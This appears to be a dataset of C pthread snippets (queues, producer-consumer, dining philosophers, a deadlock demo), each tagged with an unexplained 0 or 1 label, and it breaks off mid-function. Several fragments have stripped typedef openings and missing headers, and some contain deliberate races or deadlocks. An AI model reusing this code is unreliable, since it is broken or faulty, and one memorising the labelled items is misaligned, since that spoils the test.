#include <pthread.h> struct args { int ** valoresGrafo; int numVertices; int instancia; }; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; int result[10000]; int main(int argc, char *argv[]) { char * inputFileName = argv[1]; char * outputFileName = argv[2]; int numVertices, numInstancias, numThreads, i, j; int ** valoresGrafo = 0; if (argv[3]) { numThreads = atoi(argv[3]); } else { numThreads = 1; } pthread_t thr[numThreads]; void * entryPoint(); FILE * inputFileOpen; if ((inputFileOpen = fopen(inputFileName, "r")) == 0) { printf("Nao foi possivel abrir o arquivo.\\n"); } FILE * outputFileOpen; if ((outputFileOpen = fopen(outputFileName, "w")) == 0) { printf("Nao foi possivel abrir o arquivo.\\n"); } fscanf(inputFileOpen, "%d", &numInstancias); for (i = 0; i < numInstancias; i = i+j) { for(j = 0; j < numThreads; j++) { fscanf(inputFileOpen, "%d", &numVertices); valoresGrafo = leGrafo(numVertices, inputFileOpen); struct args *variaveis = malloc(sizeof(struct args)); variaveis->valoresGrafo = valoresGrafo; variaveis->numVertices = numVertices; variaveis->instancia = i+j; pthread_create(&thr[j], 0, entryPoint, variaveis); } for(j = 0; j < numThreads; j++) { pthread_join(thr[j], 0); } } for (i = 0; i < numInstancias; ++i) { fprintf(outputFileOpen, "%d\\n", result[i]); } if(fclose(inputFileOpen) != 0) { printf("Erro ao tentar fechar o arquivo %s\\n", inputFileName); } if(fclose(outputFileOpen) != 0) { printf("Erro ao tentar fechar o arquivo %s\\n", inputFileName); } return 0; } void * entryPoint(struct args * var){ int parcial = achaClique(var->valoresGrafo, var->numVertices); pthread_mutex_lock(&mutex); result[var->instancia] = parcial; pthread_mutex_unlock(&mutex); liberaGrafo(var->valoresGrafo, var->numVertices); free(var); pthread_exit(0); }
0
#include <pthread.h> int PBSD_gpu_put( int c, char *node, char *gpuid, int gpumode, int reset_perm, int reset_vol, char *extend) { int sock; int rc = 0; struct tcp_chan *chan = 0; sock = connection[c].ch_socket; if ((chan = DIS_tcp_setup(sock)) == 0) { return(PBSE_PROTOCOL); } else if ((rc = encode_DIS_ReqHdr(chan, PBS_BATCH_GpuCtrl, pbs_current_user)) || (rc = encode_DIS_GpuCtrl(chan, node, gpuid, gpumode, reset_perm, reset_vol)) || (rc = encode_DIS_ReqExtend(chan, extend))) { pthread_mutex_lock(connection[c].ch_mutex); connection[c].ch_errtxt = strdup(dis_emsg[rc]); pthread_mutex_unlock(connection[c].ch_mutex); DIS_tcp_cleanup(chan); return(PBSE_PROTOCOL); } if (DIS_tcp_wflush(chan)) { rc = PBSE_PROTOCOL; } DIS_tcp_cleanup(chan); return(rc); }
1
#include <pthread.h> pthread_mutex_t lock; int id; } parm; int the_answer = 0; void *bad_thread(void *args) { int id; parm *p; p = (parm *)args; id = p->id; int i, tmp; for (i=0; i<(id+1)*100000; i++) tmp = i % 10; pthread_mutex_lock(&lock); the_answer += tmp; pthread_mutex_unlock(&lock); } int main(int argc, char* argv[]) { int i, num_threads; pthread_t tid[24]; double t1, t2; parm *p; if (argc < 2){ printf("%s <np>\\n",argv[0]); printf(" where <np> is the number of threads you want to run\\n"); exit(-1); } num_threads = atoi(argv[1]); if (num_threads > 24) { printf("There is a limit of %i threads\\n",24); exit(-1); } t1 = get_time_sec(); pthread_mutex_init(&lock,0); p=(parm *)malloc(sizeof(parm)*num_threads); for (i=0; i<num_threads; i++) { p[i].id = i; pthread_create(&tid[i],0, bad_thread, (void*)&p[i] ); } for (i=0; i<num_threads; i++) { pthread_join(tid[i], 0); } t2 = get_time_sec(); printf("It took %f seconds to run the threads\\n",t2-t1); printf("There are %d threads that produce %d,but it should be %d\\n",num_threads,the_answer,9*num_threads); pthread_mutex_destroy(&lock); return 0; }
0
#include <pthread.h> bool queue_init(struct _queue *queue, size_t bufsize) { memset(queue, 0, sizeof(struct _queue)); if (pthread_mutex_init(&queue->lock, 0) != 0) goto queue_init_err0; queue->size = bufsize; queue->buffer = malloc(queue->size); if (queue->buffer == 0) goto queue_init_err1; return 1; queue_init_err1: pthread_mutex_destroy(&queue->lock); queue_init_err0: return 0; } void queue_deinit(struct _queue *queue) { pthread_mutex_lock(&queue->lock); free(queue->buffer); queue->size = 0; queue->buffer = 0; queue->get = queue->put = 0; queue->get_parity = queue->put_parity = 0; pthread_mutex_unlock(&queue->lock); pthread_mutex_destroy(&queue->lock); return; } size_t queue_get(struct _queue *queue, char *buf, size_t size) { int block, read = 0; while (read < size) { pthread_mutex_lock(&queue->lock); int bufleft = queue_space(queue, QUEUE_SPACE_GET); if (bufleft != 0) { block = (((queue->size - queue->get) < ((((bufleft) < (size - read)) ? (bufleft) : (size - read)))) ? (queue->size - queue->get) : ((((bufleft) < (size - read)) ? (bufleft) : (size - read)))); memcpy(buf + read, queue->buffer + queue->get, block); queue->get = queue->get + block; if (queue->get == queue->size) { queue->get = 0; queue->get_parity = ~queue->get_parity; } read = read + block; } pthread_mutex_unlock(&queue->lock); if (bufleft == 0) break; } return read; } size_t queue_put(struct _queue *queue, char *buf, size_t size) { int block, read = 0; while (read < size) { pthread_mutex_lock(&queue->lock); int bufleft = queue_space(queue, QUEUE_SPACE_PUT); if (bufleft != 0) { block = (((queue->size - queue->put) < ((((bufleft) < (size - read)) ? (bufleft) : (size - read)))) ? (queue->size - queue->put) : ((((bufleft) < (size - read)) ? (bufleft) : (size - read)))); memcpy(queue->buffer + queue->put, buf + read, block); queue->put = queue->put + block; if (queue->put == queue->size) { queue->put = 0; queue->put_parity = ~queue->put_parity; } read = read + block; } pthread_mutex_unlock(&queue->lock); if (bufleft == 0) break; } return read; } size_t queue_space(struct _queue *queue, int way) { int buf; if (way == QUEUE_SPACE_GET) { buf = queue->put - queue->get; } else if (way == QUEUE_SPACE_PUT) { buf = queue->get - queue->put; } else { return -1; } if (buf < 0) { return buf + queue->size; } else if (buf == 0) { if (queue->put_parity == queue->get_parity) { return (way == QUEUE_SPACE_GET) ? 0 : queue->size; } else { return (way == QUEUE_SPACE_GET) ? queue->size : 0; } } else { return buf; } } size_t queue_flush(struct _queue *queue) { pthread_mutex_lock(&queue->lock); size_t ret = queue_space(queue, QUEUE_SPACE_GET); queue->get = queue->put; queue->get_parity = queue->put_parity; pthread_mutex_unlock(&queue->lock); return ret; }
1
#include <pthread.h> pthread_mutex_t mutex; sem_t full, empty; buffer_item buffer[5]; int counter; pthread_t tid; pthread_attr_t attr; void *producer(void *param); void *consumer(void *param); void initializeData() { pthread_mutex_init(&mutex, 0); sem_init(&full, 0, 0); sem_init(&empty, 0, 5); pthread_attr_init(&attr); counter = 0; } void *producer(void *param) { buffer_item item; while(1) { int rNum = rand() / 100000000; sleep(rNum); item = rand(); sem_wait(&empty); pthread_mutex_lock(&mutex); if(insert_item(item)) { fprintf(stderr, " Producer report error condition\\n"); } else { printf("producer produced %d\\n", item); } pthread_mutex_unlock(&mutex); sem_post(&full); } } void *consumer(void *param) { buffer_item item; while(1) { int rNum = rand() / 100000000; sleep(rNum); sem_wait(&full); pthread_mutex_lock(&mutex); if(remove_item(&item)) { fprintf(stderr, "Consumer report error condition\\n"); } else { printf("consumer consumed %d\\n", item); } pthread_mutex_unlock(&mutex); sem_post(&empty); } } int insert_item(buffer_item item) { if(counter < 5) { buffer[counter] = item; counter++; return 0; } else { return -1; } } int remove_item(buffer_item *item) { if(counter > 0) { *item = buffer[(counter-1)]; counter--; return 0; } else { return -1; } } int main(int argc, char *argv[]) { int i; if(argc != 4) { fprintf(stderr, "USAGE:./main.out <INT> <INT> <INT>\\n"); } int mainSleepTime = atoi(argv[1]); initializeData(); for(i = 0; i < 2; i++) { pthread_create(&tid,&attr,producer,0); } for(i = 0; i < 2; i++) { pthread_create(&tid,&attr,consumer,0); } sleep(mainSleepTime); printf("Exit the program\\n"); exit(0); }
0
#include <pthread.h> pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; void *func1(void *arg) { pthread_mutex_lock(&mutex); int *a = (int *)arg; printf("pthread%d start\\n", *a); int i = 0; for(;i<10;i++) { printf("pthread%d is running\\n", *a); sleep(1); } printf("pthread end\\n"); pthread_mutex_unlock(&mutex); pthread_exit(0); } void *func2(void *arg) { pthread_t thr = *(pthread_t *)arg; sleep(2); pthread_cancel(thr); return 0; } int main(void) { printf("process start\\n"); pthread_t thrd1, thrd2, thrd3; int i[2]; i[0] = 1; i[1] = 2; pthread_create(&thrd1, 0, func1, &i[0]); pthread_create(&thrd2, 0, func1, &i[1]); pthread_create(&thrd3, 0, func2, &thrd1); pthread_join(thrd1,0); pthread_join(thrd2, 0); printf("process end\\n"); return 0; }
1
#include <pthread.h> int block; int busy = 0; int inode = 0; pthread_mutex_t m_inode; pthread_mutex_t m_busy; void *allocator(void * arg){ pthread_mutex_lock(&m_inode); if(inode == 0){ pthread_mutex_lock(&m_busy); busy = 1; pthread_mutex_unlock(&m_busy); inode = 1; } block = 1; if (!(block == 1)) ERROR: goto ERROR;; pthread_mutex_unlock(&m_inode); return 0; } void *de_allocator(void * arg){ pthread_mutex_lock(&m_busy); if(busy == 0){ block = 0; if (!(block == 0)) ERROR: goto ERROR;; } pthread_mutex_unlock(&m_busy); return ((void *)0); } int main() { pthread_t t1, t2; __VERIFIER_assume(inode == busy); pthread_mutex_init(&m_inode, 0); pthread_mutex_init(&m_busy, 0); pthread_create(&t1, 0, allocator, 0); pthread_create(&t2, 0, de_allocator, 0); pthread_join(t1, 0); pthread_join(t2, 0); pthread_mutex_destroy(&m_inode); pthread_mutex_destroy(&m_busy); return 0; }
0
#include <pthread.h> struct msg{ struct msg *next; int num; }; struct msg *head; pthread_cond_t has_product = PTHREAD_COND_INITIALIZER; pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; void *consumer(void *p){ struct msg *mp; for(;;){ pthread_mutex_lock(&lock); while(head==0){ pthread_cond_wait(&has_product, &lock); } mp = head; head = mp->next; pthread_mutex_unlock(&lock); printf("consume %d\\n", mp->num); free(mp); } return 0; } void *producer(void *p){ struct msg *mp; for(;;){ mp = malloc(sizeof(struct msg)); mp->num = rand()%1000 + 1; printf("produce %d\\n", mp->num); pthread_mutex_lock(&lock); mp->next = head; head = mp; pthread_mutex_unlock(&lock); pthread_cond_signal(&has_product); } return 0; } int main(void){ pthread_t pid, cid; srand(time(0)); pthread_create(&pid, 0, producer, 0); pthread_create(&cid, 0, consumer, 0); pthread_join(pid, 0); pthread_join(cid, 0); return 0; }
1
#include <pthread.h> int threadsNum; char *fileName; int recordsNum; char *searched; int file; int signr; pthread_t *threads; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; void *threadFunction(void *); void signalHandler(int signal) { printf("PID: %d TID: %ld received signal no %d\\n", getpid(), pthread_self(), signal); return; } int main(int argc, char *argv[]) { fileName = (char *)malloc(MAXFILENAME * sizeof(char)); searched = (char *) malloc(MAXSEARCH * sizeof(char)); if (argc != 6) { printf("Wrong arguments! Threads number, file name, number of records, searched word required and signal number\\n"); return 1; } threadsNum = atoi(argv[1]); fileName = argv[2]; recordsNum = atoi(argv[3]); searched = argv[4]; signr = atoi(argv[5]); if ((file = open(fileName, O_RDONLY)) == -1) { printf("Error while open a file\\n"); return 2; } threads = (pthread_t *)malloc(threadsNum * sizeof(pthread_t)); for (int i = 0; i < threadsNum; i++) { if (pthread_create(&threads[i], 0, threadFunction, 0) != 0) { printf("pthread_create(): %d: %s\\n", errno, strerror(errno)); exit(-1); } } signal(signr, signalHandler); kill(getpid(), signr); for (int i = 0; i < threadsNum; i++) { pthread_join(threads[i], 0); } free(threads); close(file); return 0; } void * threadFunction(void *unused) { pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, 0); sleep(1); char **readRecords = calloc(recordsNum, sizeof(char *)); for (int i = 0; i < recordsNum; i++) { readRecords[i] = calloc(1024, sizeof(char)); } char *num = (char *) malloc(MAXIDDIGITS * sizeof(char)); pthread_mutex_lock(&mutex); for (int i = 0; i < recordsNum; i++) { if (read(file, readRecords[i], BUFFERSIZE) == -1) { printf("read(): %d: %s\\n", errno, strerror(errno)); exit(-1); } } pthread_mutex_unlock(&mutex); for (int i = 0; i < recordsNum; i++) { if (strstr(readRecords[i], searched) != 0) { strncpy(num, readRecords[i], MAXIDDIGITS); printf("Thread with TID=%ld: found word in record number %d\\n", pthread_self(), atoi(num)); for (int j = 0; j < threadsNum; j++) { if (threads[j] != pthread_self()) { pthread_cancel(threads[j]); } } break; } } return 0; }
0
#include <pthread.h> static pthread_mutex_t file_at_lock = PTHREAD_MUTEX_INITIALIZER; static int file_at_dfd = -1; static char saved_cwd[MAXPATHLEN]; static int file_chdir_lock(int dfd) { int ret; pthread_mutex_lock(&file_at_lock); if (getcwd(saved_cwd, sizeof(saved_cwd)) == 0) saved_cwd[0] = '\\0'; assert(file_at_dfd == -1); file_at_dfd = dfd; if (dfd == AT_FDCWD) return 0; ret = fchdir(dfd); if (ret != 0) { pthread_mutex_unlock(&file_at_lock); return ret; } else { return ret; } } static void file_chdir_unlock(int dfd) { assert(file_at_dfd == dfd); file_at_dfd = -1; if (dfd == AT_FDCWD) return; if (saved_cwd[0] != '\\0') chdir(saved_cwd); pthread_mutex_unlock(&file_at_lock); } int faccessat(int fd, const char *path, int mode, int flag) { int ret; char saved_cwd[MAXPATHLEN]; const char *cwd; if ((cwd = getcwd(saved_cwd, sizeof(saved_cwd))) == 0) return (-1); if ((ret = file_chdir_lock(fd) != 0)) return ret; if (flag & AT_EACCESS) { ret = eaccess(path, mode); } else { ret = access(path, mode); } file_chdir_unlock(fd); return ret; } ssize_t readlinkat(int fd, const char *restrict path, char *restrict buf, size_t bufsize) { int ret; if ((ret = file_chdir_lock(fd) != 0)) return ret; ret = readlink(path, buf, bufsize); file_chdir_unlock(fd); return ret; } int fstatat(int fd, const char *path, struct stat *buf, int flag) { int ret; if ((ret = file_chdir_lock(fd) != 0)) return ret; if (flag & AT_SYMLINK_NOFOLLOW) { ret = lstat(path, buf); } else { ret = stat(path, buf); } file_chdir_unlock(fd); return ret; } int openat(int fd, const char *path, int flags, ...) { int ret; va_list ap; if ((ret = file_chdir_lock(fd) != 0)) return ret; if (flags & O_CREAT) { __builtin_va_start((ap)); ret = open(path, flags, __builtin_va_arg((ap))); ; } else { ret = open(path, flags); } file_chdir_unlock(fd); return ret; } int unlinkat(int fd, const char *path, int flag) { int ret; if ((ret = file_chdir_lock(fd) != 0)) return ret; if (flag & AT_REMOVEDIR) { ret = rmdir(path); } else { ret = unlink(path); } file_chdir_unlock(fd); return ret; }
1
#include <pthread.h> static int checkArray[9] = {1,2,3,4,5,6,7,8,9}; int valid = 1; pthread_mutex_t mutex; void *checkRow(void *arg) { int *localArray = (int *) arg; int *temp = malloc(9*sizeof(int)); memcpy(temp, localArray, 9*sizeof(int)); ins_sort(temp); if (memcmp(temp, checkArray, (9*sizeof(int)))!=0) { pthread_mutex_lock(&mutex); valid = 0; pthread_mutex_unlock(&mutex); } pthread_exit(0); } void *checkColumn(void *arg) { int *localArray = (int *) arg; int *temp = malloc(9*sizeof(int)); memcpy(temp, localArray, 9*sizeof(int)); ins_sort(temp); if (memcmp(temp, checkArray, (9*sizeof(int)))!=0) { pthread_mutex_lock(&mutex); valid = 0; pthread_mutex_unlock(&mutex); } pthread_exit(0); } void *checkBox(void *arg) { int *localArray = (int *) arg; int *temp = malloc(9*sizeof(int)); memcpy(temp, localArray, 9*sizeof(int)); ins_sort(temp); if (memcmp(temp, checkArray, (9*sizeof(int)))!=0) { pthread_mutex_lock(&mutex); valid = 0; pthread_mutex_unlock(&mutex); } pthread_exit(0); } int validateAll(int puzzle[9][9]) { pthread_t pth[NUM_OF_THREADS]; pthread_mutex_init(&mutex, 0); int threadCounter = 0; int i = 0; int j = 0; int count = 0; int column = 0; int row = 0; int alternator = 1; int tempArray[9]; for (i = 0; i < 9; i++) { for (j = 0; j < 9; j++) tempArray[j] = puzzle[i][j]; pthread_create(&pth[threadCounter], 0, checkRow, (void*) &tempArray); threadCounter++; } for (i = 0; i < 9; i++) { for (j = 0; j < 9; j++) { tempArray[j] = puzzle[j][i]; } pthread_create(&pth[threadCounter], 0, checkColumn, (void *) &tempArray); threadCounter++; } while (alternator < 10) { while (count < 9) { for (i = 0; i < 3; i++) { for (j = 0; j < 3; j++) { tempArray[count] = puzzle[i+row][j+column]; count++; } } } if ((alternator % 3) == 0) { row = 0; column += 3; } else { row += 3; } pthread_create(&pth[threadCounter], 0, checkBox, (void *) &tempArray); alternator++; threadCounter++; count = 0; } for (i = 0; i < NUM_OF_THREADS; i++) { pthread_join(pth[i], 0); } pthread_mutex_destroy(&mutex); return valid; } void ins_sort(int *array) { int i, j; for (i = 1; i < 9; i++) { int temp = array[i]; for (j = i; j >= 1 && temp < array[j-1]; j--) { array[j] = array[j-1]; } array[j] = temp; } }
0
#include <pthread.h> pthread_t tids[5]; int thread_num; int thread_exit_code; } thread_data; int fib(int n) { if (n==0) return 1; if (n==1) return 1; return fib(n-1) + fib(n-2); } thread_data my_data[5]; pthread_mutex_t my_mutex; void *printIt(void *thread_num) { long tnum = (long)thread_num; pthread_t self = pthread_self(); pthread_mutex_lock(&my_mutex); if (pthread_equal(self,tids[0])) { printf("Goodbye "); } else { printf("Hello "); } if ((tnum % 2) == 0) { fib(37); } my_data[tnum].thread_exit_code = ((tnum*23)+1)%7; pthread_mutex_unlock(&my_mutex); pthread_exit(&my_data[tnum].thread_exit_code); } int main( int argc, char *argv[]) { int rc; long t; rc = pthread_mutex_init(&my_mutex, 0); if (rc) { printf("ERROR; return code from pthread_mutex_init() is %d\\n",rc); exit(-1); } for (t=0; t<5; t++) { rc = pthread_create( &tids[t], 0, printIt, (void *)t); if (rc) { printf("ERROR; return code from pthread_create() is %d\\n",rc); exit(-1); } pthread_mutex_lock(&my_mutex); pthread_mutex_unlock(&my_mutex); } int *ptr = &my_data[0].thread_exit_code; for (t=0; t<5; t++) { rc = pthread_join(tids[t], (void **)&ptr); if (rc) { printf("ERROR; return code from pthread_join() is %d\\n",rc); exit(-1); } pthread_mutex_lock(&my_mutex); pthread_mutex_unlock(&my_mutex); } pthread_mutex_destroy(&my_mutex); pthread_exit(0); }
1
#include <pthread.h> pthread_t tid[2]; int counter; pthread_mutex_t lock; void* doSomeThing(void *arg) { pthread_mutex_lock(&lock); unsigned long i = 0; counter += 1; printf("\\n Job %d started\\n", counter); for(i=0; i<(0xFFFFFFFF);i++); printf("\\n Job %d finished\\n", counter); pthread_mutex_unlock(&lock); return 0; } int main(void) { int i = 0; int err; if (pthread_mutex_init(&lock, 0) != 0) { printf("\\n mutex init failed\\n"); return 1; } while(i < 2) { err = pthread_create(&(tid[i]), 0, &doSomeThing, 0); if (err != 0) printf("\\ncan't create thread :[%s]", strerror(err)); i++; } pthread_join(tid[0], 0); pthread_join(tid[1], 0); pthread_mutex_destroy(&lock); return 0; }
0
#include <pthread.h> int worker1_id; int worker2_id; void *worker1(void *param); void *worker2(void *param); pthread_mutex_t mtx1; pthread_mutex_t mtx2; int main(int argc, char *argv[]) { srand(time(0)); pthread_mutex_init(&mtx1, 0); pthread_mutex_init(&mtx2, 0); printf("main: Create worker 1 thread.\\n"); worker1_id = 1; pthread_t worker1_tid; pthread_attr_t worker1_attr; pthread_attr_init(&worker1_attr); pthread_create(&worker1_tid, &worker1_attr, worker1, &worker1_id); printf("main: Create worker 2 thread.\\n"); worker2_id = 2; pthread_t worker2_tid; pthread_attr_t worker2_attr; pthread_attr_init(&worker2_attr); pthread_create(&worker2_tid, &worker2_attr, worker2, &worker2_id); printf("main: Wait for workers to finish.\\n"); pthread_join(worker1_tid, 0); pthread_join(worker2_tid, 0); printf("main: Done!\\n"); } void *worker1(void *param) { printf("Worker1: Locking mutex 1.\\n"); pthread_mutex_lock(&mtx1); sleep(rand()%3); printf("Worker1: Locking mutex 2.\\n"); pthread_mutex_lock(&mtx2); printf("Worker1: Working.\\n"); sleep(rand()%5); printf("Worker1: Unlocking mutex 2.\\n"); pthread_mutex_unlock(&mtx2); sleep(rand()%3); printf("Worker1: Unlocking mutex 1.\\n"); pthread_mutex_unlock(&mtx1); } void *worker2(void *param) { printf("Worker2: Locking mutex 2.\\n"); pthread_mutex_lock(&mtx2); sleep(rand()%3); printf("Worker2: Locking mutex 1.\\n"); pthread_mutex_lock(&mtx1); printf("Worker2: Working.\\n"); sleep(rand()%5); printf("Worker2: Unlocking mutex 1.\\n"); pthread_mutex_unlock(&mtx1); sleep(rand()%3); printf("Worker2: Unlocking mutex 2.\\n"); pthread_mutex_unlock(&mtx2); }
1
#include <pthread.h> void *dostuff(void *); pthread_mutex_t gary; int main(){ pthread_t tarry[4]; int thread_ids[4] = {0}; int status = 0; int i = 0; pthread_mutex_init( &gary, 0 ); for( i = 0; i < 4; i++ ){ thread_ids[i] = i; status = pthread_create( &tarry[i], 0, dostuff, (void *)&thread_ids[i] ); } if(status != 0){ perror("Failed to create thread"); exit(1); } for( i = 0; i < 4; i++ ){ pthread_join( tarry[i], 0 ); } pthread_mutex_destroy( &gary ); return 0; } void *dostuff(void *arg){ int i = 0; int id = *(int *)arg; char msg[1024] = {0}; int len = 0; sprintf(msg,"Hello, from inside thread %d.\\n", id); len = strlen(msg); for( i = 0; i < 5; i++ ){ pthread_mutex_lock( &gary ); write(0, msg, len); pthread_mutex_unlock( &gary ); } }
0
#include <pthread.h> static pthread_t ht_thread; static pthread_cond_t ht_cond; static pthread_mutex_t ht_lock = PTHREAD_MUTEX_INITIALIZER; static inline void hwtimer_inc_clock ( struct timespec *ts ) { ts->tv_nsec += ((1000000000LL) / HWTIMER_HZ); if (ts->tv_nsec >= (1000000000LL) ) { ++ts->tv_sec; ts->tv_nsec -= (1000000000LL); } } static void* hwtimer_thread_cb ( void *p ) { int r; struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); while (1) { hwtimer_inc_clock(&ts); pthread_mutex_lock(&ht_lock); while (ETIMEDOUT != (r = pthread_cond_timedwait(&ht_cond, &ht_lock, &ts))); pthread_mutex_unlock(&ht_lock); hwtimer_tick(); } } void hwtimer_init ( void ) { pthread_condattr_t attr; pthread_condattr_init(&attr); pthread_condattr_setclock(&attr, CLOCK_MONOTONIC); pthread_cond_init(&ht_cond, &attr); pthread_create(&ht_thread, 0, hwtimer_thread_cb, 0); }
1
#include <pthread.h> pthread_mutex_t mutex; const size_t N_THREADS = 4; void *blocking(void *arg) { int retcode; char buffer[16384]; int *argi = (int *) arg; int my_tidx = *argi; retcode = pthread_mutex_lock(&mutex); printf("%d: in blocking thread: got mutex\\n", my_tidx); char line[1025]; printf("%s", fgets(line, 1024, stdin)); printf("%d: in blocking thread: releasing mutex\\n", my_tidx); pthread_mutex_unlock(&mutex); printf("%d: in blocking thread: released mutex\\n", my_tidx); printf("%d: in blocking thread: exiting\\n", my_tidx); return 0; } void *nonblocking(void *arg) { int retcode; char buffer[16384]; int *argi = (int *) arg; int my_tidx = *argi; retcode = pthread_mutex_trylock(&mutex); printf("%d: in nonblocking thread: got mutex\\n", my_tidx); char line[1025]; printf("%s", fgets(line, 1024, stdin)); printf("%d: in nonblocking thread: releasing mutex\\n", my_tidx); pthread_mutex_unlock(&mutex); printf("%d: in nonblocking thread: released mutex\\n", my_tidx); printf("%d: in nonblocking thread: exiting\\n", my_tidx); return 0; } int main(int argc, char *argv[]) { int retcode; printf("in parent: setting up threads\\n"); pthread_t thread[N_THREADS]; int tidx[N_THREADS]; for (size_t i = 0; i < N_THREADS; i++) { tidx[i] = (int) i; if (i%2) { retcode = pthread_create(thread + i, 0, blocking, (void *) (tidx + i)); } else { retcode = pthread_create(thread + i, 0, nonblocking, (void *) (tidx + i)); } } pthread_mutex_init(&mutex, 0); sleep(2); printf("in parent: waiting for threads to finish\\n"); for (size_t i = 0; i < N_THREADS; i++) { retcode = pthread_join(thread[i], 0); printf("joined thread %d\\n", (int) i); } pthread_mutex_destroy(&mutex); printf("done\\n"); exit(0); }
0
#include <pthread.h> pthread_t PIDARR[5]; pthread_mutex_t forks[5]={PTHREAD_MUTEX_INITIALIZER,PTHREAD_MUTEX_INITIALIZER,PTHREAD_MUTEX_INITIALIZER,PTHREAD_MUTEX_INITIALIZER,PTHREAD_MUTEX_INITIALIZER}; sem_t waiter; void* philosopher(void *arg){ pthread_t PID=pthread_self(); pthread_mutex_t* right; pthread_mutex_t* left; int ID=-1; if(PID==(PIDARR[0])){ right=&forks[1]; left=&forks[0]; ID=0; } else if(PID==PIDARR[1]){ right=&forks[2]; left=&forks[1]; ID=1; } else if(PID==PIDARR[2]){ right=&forks[3]; left=&forks[2]; ID=2; } else if(PID==PIDARR[3]){ right=&forks[4]; left=&forks[3]; ID=3; } else if(PID==PIDARR[4]){ right=&forks[0]; left=&forks[4]; ID=4; } bool eating=0; while(1){ if(eating){ printf("Philosopher %u now eating\\n",ID); usleep(10000); pthread_mutex_unlock(right); printf("Philosopher %u laid down right fork\\n",ID); pthread_mutex_unlock(left); printf("Philosopher %u laid down left fork\\n",ID); eating=0; sem_post(&waiter); } else{ printf("Philosopher %u now thinking \\n",ID); printf("Philosopher %u now wants to eat\\n",ID); sem_wait(&waiter); pthread_mutex_lock(left); printf("Philosopher %u picked up left fork\\n",ID); pthread_mutex_lock(right); printf("Philosopher %u picked up right fork\\n",ID); eating=1; } } } int main(int argc, char **argv){ sem_init(&waiter,0,2); for(int i=0;i<5;i++){ pthread_create(&(PIDARR[i]),0,philosopher,0); } pthread_join((PIDARR[0]),0); pthread_join((PIDARR[1]),0); pthread_join((PIDARR[2]),0); pthread_join((PIDARR[3]),0); pthread_join((PIDARR[4]),0); return 0; }
1
#include <pthread.h> void Threads_Glue_Yield(void) { SDL_Delay(10); } void Threads_Glue_AcquireMutex(void **Lock) { if(!*Lock) { *Lock = malloc( sizeof(pthread_mutex_t) ); pthread_mutex_init( *Lock, 0 ); } pthread_mutex_lock( *Lock ); } void Threads_Glue_ReleaseMutex(void **Lock) { pthread_mutex_unlock( *Lock ); } void Threads_Glue_SemInit(void **Ptr, int Val) { *Ptr = SDL_CreateSemaphore(Val); if( !*Ptr ) { Log_Warning("Threads", "Semaphore creation failed - %s", SDL_GetError()); } } int Threads_Glue_SemWait(void *Ptr, int Max) { int have = 0; assert(Ptr); do { if( SDL_SemWait( Ptr ) == -1 ) { return -1; } have ++; } while( SDL_SemValue(Ptr) && have < Max ); return have; } int Threads_Glue_SemSignal( void *Ptr, int AmmountToAdd ) { for( int i = 0; i < AmmountToAdd; i ++ ) SDL_SemPost( Ptr ); return AmmountToAdd; } void Threads_Glue_SemDestroy( void *Ptr ) { SDL_DestroySemaphore(Ptr); } void Threads_int_ShortLock(void **MutexPtr) { if( !*MutexPtr ) { *MutexPtr = malloc( sizeof(pthread_mutex_t) ); pthread_mutexattr_t attr; pthread_mutexattr_init(&attr); pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_ERRORCHECK); pthread_mutex_init(*MutexPtr, 0); } if( pthread_mutex_lock(*MutexPtr) ) { fprintf(stderr, "ERROR: Mutex pointer %p double locked\\n", MutexPtr); AcessNative_Exit(); } } void Threads_int_ShortRel(void **MutexPtr) { pthread_mutex_unlock(*MutexPtr); } int Threads_int_ShortHas(void **Ptr) { if( !*Ptr ) return 0; int rv = pthread_mutex_trylock(*Ptr); if( rv == 0 ) { pthread_mutex_unlock(*Ptr); return 0; } if( rv == EBUSY ) { return 0; } return 1; }
0
#include <pthread.h> int main() { pthread_mutex_t mutex; pthread_mutexattr_t mta; if(pthread_mutexattr_init(&mta) != 0) { perror("Error at pthread_mutexattr_init()\\n"); return PTS_UNRESOLVED; } if(pthread_mutexattr_settype(&mta, PTHREAD_MUTEX_ERRORCHECK) != 0) { printf("Test FAILED: Error setting the attribute 'type'\\n"); return PTS_FAIL; } if(pthread_mutex_init(&mutex, &mta) != 0) { perror("Error intializing the mutex.\\n"); return PTS_UNRESOLVED; } if(pthread_mutex_lock(&mutex) != 0 ) { perror("Error locking the mutex first time around.\\n"); return PTS_UNRESOLVED; } if(pthread_mutex_lock(&mutex) == 0 ) { perror("Test FAILED: Did not return error when locking an already locked mutex.\\n"); return PTS_FAIL; } pthread_mutex_unlock(&mutex); pthread_mutex_destroy(&mutex); if(pthread_mutexattr_destroy(&mta) != 0) { perror("Error at pthread_mutex_destroy()\\n"); return PTS_UNRESOLVED; } printf("Test PASSED\\n"); return PTS_PASS; }
1
#include <pthread.h> void ts_packet_init(void) { int i; for(i = 0; i < TS_PACKET_NUM; i++){ memset(tp.tp_buf[i].buf, 0, sizeof(tp.tp_buf[i].buf)); tp.tp_buf[i].used = TS_PACKET_NOUSED; } tp.tp_head = tp.tp_tail = 0; pthread_mutex_init(&tp.tp_mutex, 0); } void write_ts_packet(char *buf) { int tail = tp.tp_tail; printf("write tail: %d\\n", tail); pthread_mutex_lock(&tp.tp_mutex); memcpy(tp.tp_buf[tail].buf, buf, 188); tp.tp_buf[tail].used = TS_PACKET_USED; tail++; if(tail > TS_PACKET_NUM-1){ tail = 0; } tp.tp_tail = tail; pthread_mutex_unlock(&tp.tp_mutex); } int read_ts_packet(char *buf) { pthread_mutex_lock(&tp.tp_mutex); int tail = tp.tp_tail; int head = tp.tp_head; if(tail-head == 0 && tp.tp_buf[tail].used == TS_PACKET_NOUSED){ pthread_mutex_unlock(&tp.tp_mutex); return -1; } if(tp.tp_buf[tail].used == TS_PACKET_USED){ printf("full %d\\n", tail); memcpy(buf, tp.tp_buf[tail-1].buf, 188); tp.tp_buf[tail-1].used = TS_PACKET_NOUSED; tp.tp_head = tail; tp.tp_buf[tail].used = TS_PACKET_NOUSED; pthread_mutex_unlock(&tp.tp_mutex); return 0; } printf("read head: %d\\n", head); memcpy(buf, tp.tp_buf[head].buf, 188); tp.tp_buf[head].used = TS_PACKET_NOUSED; head++; 